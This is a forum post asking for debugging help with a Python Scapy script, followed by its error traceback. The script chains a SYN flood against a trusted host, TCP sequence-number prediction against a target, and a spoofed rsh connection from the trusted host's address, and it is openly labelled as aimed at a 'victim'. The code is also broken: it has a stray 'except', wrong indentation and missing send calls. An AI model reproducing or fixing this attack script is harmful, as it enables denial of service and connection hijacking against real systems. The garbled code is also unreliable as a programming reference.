clouds_n_things 13 Junior Poster in Training

I'm working on re-writing a 2 decade old python program, but I'm hitting a 'resource busy' error when executing. Does anybody have any ideas? The program is below, and the output is below that. Thanks!

from scapy.all import * 
import optparse 

print "\n--Example format is -s (controller IP:, -S(spoof & -t(target(--victim--)\n--"

def synFloodGate(src, tgt):
    #this function sends TCP SYN's to exhaust the resources of the target, 
    #filling up its connection queue and silencing the ability to send TCP-Reset packets
    for sport in range(1024, 65535):
        IPlayer = IP(src=src, dst=tgt)
        TCPlayer = TCP(sport=sport, dport=513)
        pkt = IPlayer / TCPlayer 

def calTSN(tgt):
    #targets IP address and returns ACK numbers [sequence] 
    seqNum = 0 
    preNum = 0 
    diffSeq = 0 
        for xray in range(1,5):
            if preNum != 0:
                preNum = seqNum 
            pkt = IP(dst=tgt) / TCP() 
            ans = sr1(pkt, verbose=0) 
            seqNum = ans.getlayer(TCP).seq
            diffSeq = seqNum - preNum 
            print '[+] TCP Seq Difference: ' + str(diffSeq) 
        return seqNum + diffSeq 
    except OSError, e:
        print str(e) 

def spoofConnection(src, tgt, ack):
    # spoofs the IP connection 
    IPlayer = IP(src=src, dst=tgt) 
    TCPlayer = TCP(sport=513, dport=514)
    synPkt = IPlayer / TCPlayer 
    IPlayer = IP(src=src, dst=tgt)
    TCPlayer = TCP(sport=513, dport=514, ack=ack)
    ackPkt = IPlayer / TCPlayer 

def main():
    parser = optparse.OptionParser('usage%program ' + '-s<src for SYNGATE Flood> -S<src for  spoofed connection>' + 
                                    ' -t<target address>') 
    parser.add_option('-s', dest="synSpoof", type="string", help="specify src for SYN Flood") 
    parser.add_option('-S', dest="srcSpoof", type="string", help="specify src for spoofed conenction") 
    parser.add_option('-t', dest="tgt", type="string", help="specify target address") 
    (options, args) = parser.parse_args() 
    if options.synSpoof == None or options.srcSpoof == None or options.tgt == None:
        print parser.usage
        print "\nNow Exiting the FloodGate"
        synSpoof = options.synSpoof
        srcSpoof = options.srcSpoof
        tgt = options.tgt 
    print "[+] Starting SYN FloodGate to suppress remote server."
    synFloodGate(synSpoof, srcSpoof)
    print '[+] Calculating correct TCP Sequence Number.'
    seqNum = calTSN(tgt) + 1 
    print '[+] Spoofing Connection...'
    spoofConnection(srcSpoof, tgt, seqNum)
    print '[+] Complete!'

if __name__ == "__main__":

File "", line 75, in <module>
  File "", line 67, in main
    synFloodGate(synSpoof, srcSpoof)
  File "", line 17, in synFloodGate
  File "build/bdist.macosx-10.8-intel/egg/scapy/", line 247, in send
  File "build/bdist.macosx-10.8-intel/egg/scapy/", line 230, in __gen_send
  File "build/bdist.macosx-10.8-intel/egg/scapy/arch/", line 234, in send
  File "dnet.pyx", line 112, in dnet.eth.__init__
OSError: Resource busy
Be a part of the DaniWeb community

We're a friendly, industry-focused community of 1.21 million developers, IT pros, digital marketers, and technology enthusiasts learning and sharing knowledge.